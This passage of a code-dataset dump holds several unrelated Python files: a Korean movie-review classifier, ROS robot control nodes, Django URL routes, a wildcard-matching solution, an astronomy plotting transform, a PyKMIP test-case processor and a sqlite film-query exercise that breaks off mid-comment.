newReview) == 0:\n return 0\n if exceptions('안', '재미', newReview) == 0:\n return 0\n if exceptions('별로', '재미', newReview) == 0:\n return 0\n if exceptions('별로', '재밌', newReview) == 0:\n return 0\n if exceptions('안', '재밌', newReview) == 0:\n return 0\n if exceptions('재미', '없', newReview) == 0:\n return 0\n if exceptions('생각보다', '별로', newReview) == 0:\n return 0\n\n return 1\n\n else:\n if exceptions('생각보다', '괜찮', newReview) == 0:\n return 1\n if exceptions('기대보다', '괜찮', newReview) == 0:\n return 1\n\n return 0\n\n '''\n\n possibility_list = possibility.keys()\n for word in possibility_list:\n value = possibility[word]\n if word in newWords:\n log_goodP += math.log(value[0])\n log_badP += math.log(value[1])\n else:\n log_goodP += math.log(1-value[0])\n log_badP += math.log(1-value[1])\n\n goodP = math.exp(log_goodP)\n badP = math.exp(log_badP)\n\n if goodP > badP:\n result = 1\n else:\n result = 0\n\n return result\n'''\n\ndef exceptions(nope, fun, newReview):\n flag = 2\n if fun in newReview:\n index_fun = newReview.find(fun)\n if nope in newReview:\n index_nope = newReview.find(nope)\n\n if index_fun > index_nope:\n flag = 0\n else:\n flag = 1\n\n return flag\n\n\n#새로운 리뷰 파일을 받아와서 classify 결과를 포함한 txt file을 반환하는 함수\ndef applyNewReview(possibility, total_goodP, total_badP, newFileName):\n resultFile = open('ratings_result_valid.txt', 'w', encoding=\"UTF-8\")\n newReviewFile = open(newFileName, 'r', encoding=\"UTF-8\")\n\n for line in newReviewFile:\n if line.startswith('id'):\n resultFile.write(line)\n else:\n result = classify(possibility, total_goodP, total_badP, line)\n resultFile.write(line.rstrip('\\n') + ' ' + str(result) + '\\n')\n\n\nif __name__ == '__main__':\n\n start = time.time()\n\n possibility, total_goodP, total_badP = training()\n\n applyNewReview(possibility, total_goodP, total_badP, 'ratings_test.txt')\n\n print(\"time :\", time.time() - start) # 현재시각 - 시작시간 = 실행 시간\n\n","sub_path":"Movie_Review_Baysian_Classification/2016025514_assignment_2.py","file_name":"2016025514_assignment_2.py","file_ext":"py","file_size_in_byte":7781,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"71856965","text":"#!/usr/bin/env python\n# coding=utf-8\n\n# Author : Yacine\n\nimport rospy\nfrom helios_command.msg import PwmCmd\n\n# Turbines:\n# Vertical_droit : pin=0, min_pwm=920, max_pwm=\n# Vertical_gauche: pin=1, min_pwm=, max_pwm=\n# Avant_droit : pin=2, min_pwm=, max_pwm=\n# Avant_gauche : pin=3, min_pwm=, max_pwm=\n# Arrière_droit : pin=4, min_pwm=, max_pwm=\n# Arrière_gauche : pin=5, min_pwm=, max_pwm=\n\npwm_cmd = PwmCmd()\n# Initialised at min value for every pin\nlast_pin0_cmd = 1000\nlast_pin1_cmd = 1000\nlast_pin2_cmd = 1000\nlast_pin3_cmd = 1000\nlast_pin4_cmd = 1000\nlast_pin5_cmd = 1000\n\ndef teleop_callback(msg):\n rospy.loginfo(\"Twist msg reception\")\n if msg.angular.z < 0: # z -> rudder\n pwm_cmd.pin = 0\n pwm_cmd.command = last_rudder_cmd - 10\n last_rudder_cmd = pwm_cmd.command\n elif msg.angular.z > 0:\n pwm_cmd.pin = 0\n pwm_cmd.command = last_rudder_cmd + 10\n last_rudder_cmd = pwm_cmd.command\n elif msg.angular.x < 0: # x - > turbine\n pwm_cmd.pin = 1\n pwm_cmd.command = last_turbine_cmd - 5\n last_turbine_cmd = pwm_cmd.command\n elif msg.angular.x > 0:\n pwm_cmd.pin = 1\n pwm_cmd.command = last_turbine_cmd + 5\n last_turbine_cmd = pwm_cmd.command\n else: # c'est moche mais au cas où ...\n pass\n \n command_pub.publish(command)\n rospy.loginfo(\"Last turbine command: %f\" % last_turbine_cmd)\n rospy.loginfo(\"Last rudder command: %f\" % last_rudder_cmd) \n\nif __name__ == '__main__':\n \n rospy.init_node('ciscrea_teleop')\n \n rospy.loginfo(\"ciscrea_teleop Node Initialised\")\n \n # Subscribe to default_name of ROS keyteleop\n rospy.Subscriber(\"/key_vel\", Twist, teleop_callback)\n \n command_pub = rospy.Publisher('pwm_cmd', PwmCmd)\n \n \n\n\n\n\n","sub_path":"helios_command/scripts/ciscrea_teleop.py","file_name":"ciscrea_teleop.py","file_ext":"py","file_size_in_byte":1792,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"94752386","text":"\"\"\"mysiten URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/1.11/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.conf.urls import url, include\n 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf.urls import url\nfrom django.urls import path\nfrom . import views\n\napp_name = 'main' # here for namespacing of urls\n\nurlpatterns = [\n path('', views.homepage, name='homepage'),\n path('signup/', views.signup, name='signuppage'),\n path('login/', views.loginpage, name='loginpage'),\n path('homein/', views.homeinpage, name='homeinpage'),\n path('profile/', views.profilepage, name='profilepage'),\n]\n","sub_path":"main/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1067,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"404506487","text":"#\n# @lc app=leetcode id=44 lang=python3\n#\n# [44] Wildcard Matching\n#\n\n# @lc code=start\n\n\nclass Solution:\n def isMatch(self, s: str, p: str) -> bool:\n p_sz, s_sz = len(p), len(s)\n p_idx, s_idx = 0, 0\n star_idx, s_match_idx = -1, -1\n\n while s_idx < s_sz:\n if p_idx < p_sz and (p[p_idx] == '?' or p[p_idx] == s[s_idx]):\n #print(\"Char matched \", s_idx, p_idx)\n s_idx += 1\n p_idx += 1\n elif p_idx < p_sz and p[p_idx] == '*':\n #print(\"* with 0 match\", s_idx, p_idx)\n # try with 0 matches\n star_idx = p_idx\n s_match_idx = s_idx\n p_idx += 1\n elif star_idx == -1:\n return False\n else:\n #print(\"backtrack * with +1 match\", s_idx, p_idx)\n # Backtrack match additional one char\n s_idx = s_match_idx + 1\n p_idx = star_idx + 1\n s_match_idx = s_idx\n\n #print(\"Out with \", s_idx, p_idx)\n return s_idx == s_sz and all(x == '*' for x in p[p_idx:])\n\n# @lc code=end\n","sub_path":"44.wildcard-matching.py","file_name":"44.wildcard-matching.py","file_ext":"py","file_size_in_byte":1144,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"199868688","text":"#!/usr/bin/env python\nimport rospy\nfrom std_msgs.msg import String\nfrom threading import Lock\nimport numpy as np\nimport tf2_ros\nimport tf_conversions\nfrom geometry_msgs.msg import TransformStamped, Twist\nfrom nav_msgs.msg import Odometry\nfrom STMProtocol import STMProtocol\nimport time\n\nSTM_SERIAL_PORT = \"/dev/ttyACM0\"\n\nWHEEL_RADIUS = 0.05\nWHEEL_L = 0.662\n\nPASSIVE_WHEEL_RADIUS = 0.0635\nPASSIVE_WHEEL_L = 0.1539\n\nTRANSFER_NUMBER_ENCODER = 10 * 1.23\nTRANSFER_NUMBER_PWM = 10 / 1.55 * 0.7 * 2.6 / 0.75\n\nMAX_MOTOR_SPEED = 20\n\nODOMETRY_RATE = 40\n\n\ndef cvt_local2global(local_point, src_point):\n x, y, a = local_point.T\n X, Y, A = src_point.T\n x1 = x * np.cos(A) - y * np.sin(A) + X\n y1 = x * np.sin(A) + y * np.cos(A) + Y\n a1 = (a + A) % (2 * np.pi)\n return np.array([x1, y1, a1]).T\n\n\ndef cvt_global2local(global_point, src_point):\n x1, y1, a1 = global_point.T\n X, Y, A = src_point.T\n x = x1 * np.cos(A) + y1 * np.sin(A) - X * np.cos(A) - Y * np.sin(A)\n y = -x1 * np.sin(A) + y1 * np.cos(A) + X * np.sin(A) - Y * np.cos(A)\n a = (a1 - A) % (2 * np.pi)\n return np.array([x, y, a]).T\n\n\ndef find_src(global_point, local_point):\n x, y, a = local_point.T\n x1, y1, a1 = global_point.T\n A = (a1 - a) % (2 * np.pi)\n X = x1 - x * np.cos(A) + y * np.sin(A)\n Y = y1 - x * np.sin(A) - y * np.cos(A)\n return np.array([X, Y, A]).T\n\n\n# noinspection PyTypeChecker,PyUnusedLocal\nclass StmNode(STMProtocol):\n def __init__(self, serial_port):\n # Init params\n\n self.is_pub_tf = bool(rospy.get_param('stm_node/is_pub_tf', default=True))\n\n # Init STM protocol class\n super(StmNode, self).__init__(serial_port)\n self.mutex = Lock()\n\n # ROS node\n rospy.init_node('stm_node', anonymous=True)\n rospy.Subscriber(\"stm_command\", String, self.stm_command_callback)\n rospy.Subscriber(\"cmd_vel\", Twist, self.set_twist)\n rospy.Subscriber(\"stm_node_command\", String, self.stm_node_command_callback)\n self.pub_response = rospy.Publisher(\"response\", String, queue_size=10)\n self.pub_stm_speed_cmd = rospy.Publisher(\"stm_speed_cmd\", String, queue_size=10)\n self.pub_odom = rospy.Publisher(\"odom\", Odometry, queue_size=1)\n\n # Robot params\n self.robot_name = 'ump'\n\n # TF broadcaster\n self.br = tf2_ros.TransformBroadcaster()\n\n # Odometry point\n self.odom_point = np.array([0, 0, 0])\n rospy.Timer(rospy.Duration(1. / ODOMETRY_RATE), self.pub_odom_coords_timer_callback)\n self.last_odom_integration_time = rospy.get_time()\n rospy.loginfo(\"STM node is started\")\n self.odom_set_vels = np.array([0, 0])\n\n self.is_send_speeds = False\n self.is_collision = False\n\n def stm_node_command_callback(self, data):\n data_splitted = data.data.split()\n if data_splitted[1] == \"send_speeds\":\n if data_splitted[2] == \"true\":\n self.is_send_speeds = True\n rospy.loginfo(\"Sending speeds is started\")\n if data_splitted[2] == \"false\":\n self.is_send_speeds = False\n rospy.loginfo(\"Sending speeds is stopped\")\n if data_splitted[1] == \"collision\":\n if data_splitted[2] == \"true\":\n self.is_collision = True\n elif data_splitted[2] == \"false\":\n self.is_collision = False\n\n def set_twist(self, twist):\n self.send(\"set_speed\", 0x02, np.array([twist.linear.x, twist.angular.z]))#self.speed2wheel_speed_cmd(twist.linear.x, twist.angular.z))\n\n @staticmethod\n def rps2speed(v_left, v_right, passive_wheels=True):\n \"\"\"\n Converts rotations per second [v_left, v_right] to robot speed [v, w] .\n \"\"\"\n if passive_wheels:\n L = PASSIVE_WHEEL_L\n R = PASSIVE_WHEEL_RADIUS\n TN = TRANSFER_NUMBER_ENCODER\n else:\n L = WHEEL_L\n R = WHEEL_RADIUS\n TN = TRANSFER_NUMBER_PWM\n return np.array([(-v_right + v_left) * R / 2., 0,\n (v_right + v_left) * R / L]) / TN * 2 * np.pi\n \n @staticmethod\n def speed2wheel_speed_cmd(v, w):\n \"\"\"\n Converts [v, w] to wheel speed [v_left, v_right] .\n \"\"\"\n v_left = (2 * v - w * WHEEL_L) / (2. * WHEEL_RADIUS)\n v_right = -(2 * v + w * WHEEL_L) / (2. * WHEEL_RADIUS)\n return np.array([v_left, v_right]) * TRANSFER_NUMBER_PWM / 2 / np.pi\n\n def send(self, action_name, action_type, args):\n if action_type == 0x02:\n # args = np.clip(np.array(args), -MAX_MOTOR_SPEED, MAX_MOTOR_SPEED)\n if not self.is_send_speeds or self.is_collision:\n args = np.array([0, 0])\n\n t0 = time.time()\n is_locked = self.mutex.acquire()\n if not is_locked:\n rospy.logwarn(\"Mutex was locked\")\n t1 = time.time()\n successfully, args_response = self.send_command(action_type, args)\n t2 = time.time()\n self.mutex.release()\n if t2 - t1 > 0.012:\n rospy.logwarn(\"Respond time is \" + str((t2 - t1) * 1000) + \" ms\")\n if t2 - t0 > 0.025:\n rospy.logwarn(\"Full time is \" + str((t2 - t0) * 1000) + \" ms\")\n\n if action_type in [0x02]:\n self.pub_stm_speed_cmd.publish(str(action_type) + ' ' + str(args) + ' ' + str(args_response))\n return successfully, args_response\n\n def parse_data(self, data):\n data_splitted = data.data.split()\n action_name = data_splitted[0]\n action_type = int(data_splitted[1])\n args_str = data_splitted[2:]\n action_args_dict = {'B': int, 'H': int, 'f': float, 'b': int, 'h': int}\n args = [action_args_dict[t](s) for t, s in zip(self.pack_format[action_type][1:], args_str)]\n return action_name, action_type, args\n\n def stm_command_callback(self, data):\n # parse data\n action_name, action_type, args = self.parse_data(data)\n successfully, responses = self.send(action_name, action_type, args)\n if action_type == 0x02:\n self.odom_set_vels = np.array(args)\n\n def publish_odom(self, point, vel):\n # check if no nan values\n if np.any(point != point):\n return\n if np.any(vel != vel):\n return\n\n if self.is_pub_tf:\n t = TransformStamped()\n t.header.stamp = rospy.Time.now()\n t.header.frame_id = \"%s_odom\" % self.robot_name\n t.child_frame_id = self.robot_name\n t.transform.translation.x = point[0]\n t.transform.translation.y = point[1]\n t.transform.translation.z = 0.0\n q = tf_conversions.transformations.quaternion_from_euler(0, 0, point[2])\n t.transform.rotation.x = q[0]\n t.transform.rotation.y = q[1]\n t.transform.rotation.z = q[2]\n t.transform.rotation.w = q[3]\n self.br.sendTransform(t)\n\n odom = Odometry()\n odom.child_frame_id = self.robot_name\n odom.twist.twist.linear.x = vel[0]\n odom.twist.twist.linear.y = vel[1]\n odom.twist.twist.angular.z = vel[2]\n self.pub_odom.publish(odom)\n\n def pub_odom_coords_timer_callback(self, event):\n successfully, vw = self.send('request_stm_vel', 3, [])\n # successfully = True\n # vels = self.odom_set_vels\n if successfully:\n # time between iterations\n now = rospy.get_time()\n dt = now - self.last_odom_integration_time\n self.last_odom_integration_time = now\n\n # transform to robot velocity\n robot_vel = np.array([vw[0], 0., vw[1]]) #self.rps2speed(*rps)\n dpoint = robot_vel * dt\n\n # integrate\n self.odom_point = cvt_local2global(dpoint, self.odom_point)\n self.publish_odom(self.odom_point, robot_vel)\n\n\nif __name__ == '__main__':\n stm = StmNode(STM_SERIAL_PORT)\n rospy.spin()\n","sub_path":"ump_core/scripts/stm_node/stm_node.py","file_name":"stm_node.py","file_ext":"py","file_size_in_byte":7957,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"469642311","text":"import sys\nimport numpy as np\n\n# Note that we use the \"rf_pipelines.utils\" version of wi_downsample.\n# This python function is morally equivalent to the C++ function rf_pipelines.wi_downsample(),\n# but note that the python version takes arguments (new_nfreq, new_nt), whereas the C++ version\n# takes (Df, Dt), and the normalization of the weights also differs by a factor (Df*Dt).\n#\n# FIXME using the fast C++ version of wi_downsample() would be preferable, but there\n# is a nuisance issue in the way: it assumes (nt/Dt) is a multiple of 8, and this\n# assumption sometimes fails in the plotter_transform.\n\n\nfrom rf_pipelines.rf_pipelines_c import pipeline_object, wi_transform\nfrom rf_pipelines.utils import write_png, wi_downsample\n\n\nclass plotter_transform(wi_transform):\n \"\"\"\n This is a pseudo-transform (meaning that it does not actually modify its input)\n which makes waterfall plots. It's primitive so please feel free to improve it!\n\n Note that the y-axis of the waterfall plots corresponds to frequency channel, with \n lowest frequency on the bottom and highest frequency on the top.\n\n Constructor syntax:\n \n t = plotter_transform(img_prefix, img_nfreq, img_nt, downsample_nt=1, n_zoom=4, nt_chunk=0)\n \n The 'img_prefix' arg determines the output filenames: ${img_prefix}_0.png,\n ${img_prefix}_1.png ...\n\n The 'img_nfreq' arg determines the number of y-pixels in the plot.\n If the number of instrumental frequency channels is larger it will be downsampled.\n \n The 'img_nt' arg determines the number of x-pixels before a waterfall plot gets\n written, and a new waterfall plot is started.\n\n If the 'downsample_nt' optional arg is specfied, then each x-pixel in the plot will\n correspond to multiple time samples.\n\n The n_zoom arg determines how many zoom levels will be produced.\n\n The 'nt_chunk' argument is the number of samples of data which are processed in\n each call to process_chunk().\n\n By default, the color scheme is assigned by computing the mean and rms after clipping\n 3-sigma outliers using three masking iterations. The 'clip_niter' and 'sigma_clip' \n arguments can be used to override these defaults.\n \"\"\"\n\n def __init__(self, img_prefix, img_nfreq, img_nt, downsample_nt=1, n_zoom = 1, nt_chunk=0, clip_niter=3, sigma_clip=3.0):\n wi_transform.__init__(self, 'plotter_transform')\n\n # Build up name string, showing arguments which differ from non-default values\n self.name = \"plotter_transform('%s', img_nfreq=%d, img_nt=%d, downsample_nt=%d\" % (img_prefix, img_nfreq, img_nt, downsample_nt)\n if n_zoom != 1:\n self.name += \", n_zoom=%d\" % n_zoom\n if nt_chunk > 0:\n self.name += \", nt_chunk=%d\" % nt_chunk\n if clip_niter != 3:\n self.name += \", clip_niter=%d\" % clip_niter\n if sigma_clip != 3.0:\n self.name += \", sigma_clip=%s\" % sigma_clip\n self.name += ')'\n\n assert img_nt > 0\n assert img_nfreq > 0\n assert downsample_nt > 0\n assert clip_niter >= 1\n assert sigma_clip >= 2.0 # following assert in rf_pipelines.utils.write_png()\n assert n_zoom > 0\n \n max_downsample = downsample_nt * 2**(n_zoom-1)\n\n if nt_chunk == 0:\n # Choose default nt_chunk to be close to 1024, with added constraint of being evenly divisible by max_downsample.\n nt_chunk = (1024//max_downsample + 1) * max_downsample\n elif nt_chunk % max_downsample != 0:\n raise RuntimeError(\"plotter_transform: specified nt_chunk(=%d) must be a multiple of downsampling factor at max zoom level (=%d)\" % (nt_chunk,max_downsample))\n\n self.nt_chunk = nt_chunk\n self.img_nfreq = img_nfreq\n self.img_nt = img_nt\n self.clip_niter = clip_niter\n self.sigma_clip = sigma_clip\n self.n_zoom = n_zoom\n self.img_prefix0 = img_prefix\n \n # Parameters implemented as lists that change for each zoom level\n self.downsample_nt = [downsample_nt]\n self.nt_chunk_ds = [nt_chunk // downsample_nt] # number of times/chunk divided by number of times per pixel -> pixels/chunk\n self.img_prefix = [img_prefix + \"_zoom0\"]\n\n if self.n_zoom > 1:\n for zoom_level in xrange(self.n_zoom - 1):\n self.downsample_nt += [self.downsample_nt[zoom_level] * 2] # zoom_level = previous element's index because of the original value added\n self.nt_chunk_ds += [nt_chunk // self.downsample_nt[zoom_level + 1]]\n self.img_prefix += [img_prefix + \"_zoom\" + str(zoom_level+1)]\n\n \n def _bind_transform(self, json_attrs):\n if self.nfreq % self.img_nfreq != 0:\n raise RuntimeError(\"plotter_transform: current implementation requires 'img_nfreq' to be a divisor of stream nfreq\")\n\n\n def _allocate(self):\n # The buffers store intensity/weights data until a plot can be written out\n # This means that the buffers will have dimensions n_zoom x n_xpix x n_ypix\n self.intensity_buf = np.zeros((self.n_zoom, self.img_nfreq, self.img_nt), dtype=np.float32)\n self.weight_buf = np.zeros((self.n_zoom, self.img_nfreq, self.img_nt), dtype=np.float32)\n self.ifile = np.zeros((self.n_zoom), int) # keeps track of which png file we're accumulating\n self.ipos = np.zeros((self.n_zoom), int) # keeps track of how many (downsampled) time samples have been accumulated into file so far\n\n\n def _start_pipeline(self, json_attrs):\n # Note: calls to add_plot_group() must go in _start_pipeline().\n for nds in self.downsample_nt:\n self.add_plot_group(\"waterfall\", nt_per_pix=nds, ny=self.img_nfreq)\n\n\n def _process_chunk(self, intensity, weights, pos):\n\n # Invariant: When this routine is called, downsampled arrays of intensity and\n # weights data have been partially accumulated, in self.intensity_buf and self.weight_buf.\n # When the arrays are complete, an image will be written. The number of files written\n # so far is 'self.ifile', and the number of (downsampled) time samples accumulated into\n # the current file is 'self.ipos'\n\n preserved_intensity = intensity\n preserved_weights = weights\n\n for zoom_level in xrange(self.n_zoom):\n intensity = preserved_intensity.copy()\n weights = preserved_weights.copy()\n\n (intensity, weights) = wi_downsample(intensity, weights, self.img_nfreq, self.nt_chunk_ds[zoom_level])\n \n # Keeps track of how much downsampled data has been moved from input chunk to the plots.\n ichunk = 0\n\n while ichunk < self.nt_chunk_ds[zoom_level]:\n # Move to end of chunk or end of current plot, whichever comes first.\n n = min(self.nt_chunk_ds[zoom_level] - ichunk, self.img_nt - self.ipos[zoom_level])\n assert n > 0\n \n self.intensity_buf[zoom_level, :, self.ipos[zoom_level]:(self.ipos[zoom_level]+n)] = intensity[:,ichunk:(ichunk+n)]\n self.weight_buf[zoom_level, :, self.ipos[zoom_level]:(self.ipos[zoom_level]+n)] = weights[:,ichunk:(ichunk+n)]\n self.ipos[zoom_level] += n\n ichunk += n\n\n if self.ipos[zoom_level] == self.img_nt:\n self._write_file(zoom_level)\n\n\n def _end_pipeline(self, json_output):\n for zoom_level in xrange(self.n_zoom):\n if self.ipos[zoom_level] > 0:\n self._write_file(zoom_level)\n\n\n def _write_file(self, zoom_level):\n # When we reach end-of-stream, the buffer might be partially full (i.e. self.ipos < self.img_nt).\n # In this case, pad with black\n intensity = self.intensity_buf[zoom_level, :, :]\n weights = self.weight_buf[zoom_level, :, :]\n\n basename = self.img_prefix[zoom_level]\n basename += ('_%s.png' % self.ifile[zoom_level])\n\n # The add_plot() method adds the plot to the JSON output, and returns the filename that should be written.\n filename = self.add_plot(basename, \n it0 = int(self.ifile[zoom_level] * self.img_nt * self.downsample_nt[zoom_level]),\n nt = self.img_nt * self.downsample_nt[zoom_level],\n nx = intensity.shape[1], \n ny = intensity.shape[0], \n group_id = zoom_level)\n\n\n write_png(filename, intensity, weights=weights, transpose=True, ytop_to_bottom=True, \n clip_niter=self.clip_niter, sigma_clip=self.sigma_clip)\n\n self.intensity_buf[zoom_level, :, :] = 0.\n self.weight_buf[zoom_level, :, :] = 0.\n self.ifile[zoom_level] += 1\n self.ipos[zoom_level] = 0\n\n\n def jsonize(self):\n return { 'class_name': 'plotter_transform',\n 'img_prefix': self.img_prefix0,\n 'img_nfreq': self.img_nfreq,\n 'img_nt': self.img_nt,\n 'downsample_nt': self.downsample_nt[0],\n 'n_zoom': self.n_zoom,\n 'nt_chunk': self.nt_chunk,\n 'clip_niter': self.clip_niter,\n 'sigma_clip': self.sigma_clip }\n\n @staticmethod\n def from_json(j):\n return plotter_transform(img_prefix = j['img_prefix'],\n img_nfreq = j['img_nfreq'],\n img_nt = j['img_nt'],\n downsample_nt = j['downsample_nt'],\n n_zoom = j['n_zoom'],\n nt_chunk = j['nt_chunk'],\n clip_niter = j['clip_niter'],\n sigma_clip = j['sigma_clip'])\n\n\npipeline_object.register_json_deserializer('plotter_transform', plotter_transform.from_json)\n","sub_path":"rf_pipelines/transforms/plotter_transform.py","file_name":"plotter_transform.py","file_ext":"py","file_size_in_byte":9988,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"631482839","text":"import xml.etree.ElementTree as ET\nfrom xmljson import gdata\n\nfrom kmip.core.enums import AttributeType\nfrom kmip.core.enums import CredentialType\nfrom kmip.core.enums import CryptographicAlgorithm\nfrom kmip.core.enums import CryptographicUsageMask\nfrom kmip.core.enums import ObjectType\nfrom kmip.core.enums import Operation\nfrom kmip.core.enums import ResultStatus\nfrom kmip.core.enums import NameType\n\nfrom kmip.demos import utils\n\nfrom kmip.core.factories.attributes import AttributeFactory\nfrom kmip.core.factories.credentials import CredentialFactory\n\nfrom kmip.core.attributes import Name\n\nfrom kmip.core.objects import TemplateAttribute\nfrom kmip.core.objects import Attribute\n\nfrom kmip.services.kmip_client import KMIPProxy\n\nimport logging\nimport sys\n\nfrom datetime import datetime, timedelta\nimport time\n\n\nclass ProccessXml:\n\n def __init__(self, credential, client):\n self.credential = credential\n self.client = client\n\n def proccess_operation(self, operation, requestPayload):\n if operation['value'] == 'Create':\n if 'ObjectType' in requestPayload:\n object_type = None\n if requestPayload['ObjectType']['value'] == 'SymmetricKey':\n object_type = ObjectType.SYMMETRIC_KEY\n if 'TemplateAttribute' in requestPayload:\n template_attribute = self.proccess_template_attributes(\n list(requestPayload['TemplateAttribute']['Attribute']))\n if 'Attribute' in requestPayload:\n for attribute in list(requestPayload['Attribute']):\n print (attribute['AttributeName'])\n print (attribute['AttributeValue'])\n\n result = self.client.create(\n object_type,\n template_attribute,\n self.credential)\n \n # Display operation results\n print('create() result status: {0}'.format(\n result.result_status.value))\n\n if result.result_status.value == ResultStatus.SUCCESS:\n print('created object type: {0}'.format(\n result.object_type.value))\n print('created UUID: {0}'.format(result.uuid.value))\n print('created template attribute: {0}'.format(\n result.template_attribute))\n else:\n print('create() result reason: {0}'.format(\n result.result_reason.value))\n print('create() result message: {0}'.format(\n result.result_message.value))\n\n if operation['value'] == 'Locate':\n if 'Attribute' in requestPayload:\n attributes = self.proccess_attributes(list(requestPayload['Attribute']))\n\n result = client.locate(attributes=attributes, credential=self.credential)\n\n # Display operation results\n print('locate() result status: {0}'.format(\n result.result_status.value))\n\n if result.result_status.value == ResultStatus.SUCCESS:\n print('located UUIDs:')\n for uuid in result.uuids:\n print('{0}'.format(uuid))\n else:\n print('get() result reason: {0}'.format(\n result.result_reason.value))\n print('get() result message: {0}'.format(\n result.result_message.value))\n\n\n def proccess_template_attributes(self, attributes):\n template_attributes = []\n attribute_factory = AttributeFactory()\n for attribute in attributes:\n attribute_type = AttributeType(attribute['AttributeName']['value'])\n attribute_value = None\n\n if attribute_type == AttributeType.X_ID:\n name = Attribute.AttributeName('Name')\n attribute_value = Name.NameValue(attribute['AttributeValue']['value'])\n attribute_type = Name.NameType(NameType.UNINTERPRETED_TEXT_STRING)\n value = Name(name_value=attribute_value, name_type=attribute_type)\n name = Attribute(attribute_name=name, attribute_value=value)\n template_attributes.append(name)\n continue\n if attribute_type == AttributeType.CRYPTOGRAPHIC_ALGORITHM:\n attribute_value = getattr(\n CryptographicAlgorithm, attribute['AttributeValue']['value'], None)\n if attribute_type == AttributeType.CRYPTOGRAPHIC_LENGTH:\n attribute_value = attribute['AttributeValue']['value']\n if attribute_type == AttributeType.CRYPTOGRAPHIC_USAGE_MASK:\n usage_mask = attribute['AttributeValue']['value'].split(' ')\n for idx, val in enumerate(usage_mask):\n usage_mask[idx] = getattr(\n CryptographicUsageMask, val.upper(), None)\n attribute_value = usage_mask\n\n attribute_obj = attribute_factory.create_attribute(attribute_type, attribute_value)\n template_attributes.append(attribute_obj)\n template_attributes = TemplateAttribute(attributes=template_attributes)\n return template_attributes\n\n def proccess_attributes(self, attributes):\n list_attributes = []\n attribute_factory = AttributeFactory()\n for attribute in attributes:\n attribute_type = AttributeType(attribute['AttributeName']['value'])\n attribute_value = None\n if attribute_type == AttributeType.OBJECT_TYPE:\n if attribute['AttributeValue']['value'] == 'SymmetricKey':\n attribute_value = ObjectType.SYMMETRIC_KEY\n if attribute_type == AttributeType.ORIGINAL_CREATION_DATE:\n attribute_value = time.time()\n if attribute['AttributeValue']['value'] == '$NOW-60':\n attribute_value = attribute_value - 60\n if attribute['AttributeValue']['value'] == '$NOW+60':\n attribute_value = attribute_value + 60\n attribute_obj = attribute_factory.create_attribute(attribute_type, attribute_value)\n list_attributes.append(attribute_obj)\n return list_attributes\n\n def proccess_request(self, request):\n batchItems = request['BatchItem']\n if isinstance(batchItems, list):\n for batchItem in batchItems:\n self.proccess_operation(batchItem['Operation'], batchItem['RequestPayload'])\n else:\n self.proccess_operation(batchItems['Operation'], batchItems['RequestPayload'])\n\n\nif __name__ == '__main__':\n logger = utils.build_console_logger(logging.INFO)\n\n # Build and parse arguments\n parser = utils.build_cli_parser(Operation.CREATE)\n opts, args = parser.parse_args(sys.argv[1:])\n\n username = 'leonel'\n password = 'leonel'\n config = opts.config\n\n credential_factory = CredentialFactory()\n\n # Build the KMIP server account credentials\n # TODO (peter-hamilton) Move up into KMIPProxy\n if (username is None) and (password is None):\n credential = None\n else:\n credential_type = CredentialType.USERNAME_AND_PASSWORD\n credential_value = {'Username': username,\n 'Password': password}\n credential = credential_factory.create_credential(credential_type, credential_value)\n\n # Build the client and connect to the server\n client = KMIPProxy(config=config)\n client.open()\n\n # Read xml and convert to json\n tree = ET.parse('TC-OFFSET-1-13.xml')\n root = tree.getroot()\n json = gdata.data(root)['KMIP']\n\n # Proccess json\n requestMessages = [json['RequestMessage'][0], json['RequestMessage'][1]]\n\n proccessXml = ProccessXml(credential, client)\n for resquestMessage in requestMessages: \n proccessXml.proccess_request(resquestMessage)","sub_path":"read_xml.py","file_name":"read_xml.py","file_ext":"py","file_size_in_byte":7857,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"578681977","text":"import sqlite3\r\nimport os\r\nimport json\r\n\r\ndata_path = os.path.join(os.getcwd(), \"film1.db\")\r\nconnect = sqlite3.connect(data_path)\r\ncursor = connect.cursor()\r\n\r\ndef select_data(conn):\r\n\tcursor = connect.cursor()\r\n\tcursor.execute(\"SELECT * FROM film\")\r\n\trows = cursor.fetchall()\r\n\r\n\tlist_of_table =[]\r\n\tfor i in rows:\r\n\t\tlist_of_table.append(list(i))\r\n\treturn list_of_table\r\n\r\n# Ex 1 Write script to find the names of movies which name starts with “B”\r\n\r\nselected_data = select_data(connect)\r\nfilms = []\r\n\r\nfor film_list in selected_data:\r\n\tif str(film_list[1])[0] == \"B\":\r\n\t\tfilms.append(film_list[1])\r\nprint(f\"Movies which title starts with 'B' are:\\n{films}.\")\r\n\r\n# Ex 2 Write a python code to find the movie which duration is the largest from film table\r\n\r\nduration_list = []\r\nfor film_list in selected_data:\r\n\tduration_list.append(film_list[5])\r\n\tduration_list.sort()\r\nlargest_dur = duration_list[-1]\r\n\r\nfor film_list in selected_data:\r\n\tif film_list[5] == largest_dur:\r\n\t\tthe_largest_film = film_list[1]\r\nprint(f\"The largest film in the table is '{the_largest_film}'.\")\r\n\r\n# Ex 3 Write a python code to write the data from film table into a json file\r\n\r\nwith open(\"json_datbase.json\", \"w\") as jsonfile:\r\n\tjson.dump(selected_data, jsonfile, indent=4)\r\n\r\n# Ex 4 extra** write script which finds all the movies from film table which release date is above 2010 \r\n# and rate is between 3 and 5 , after that writes them in a new table called 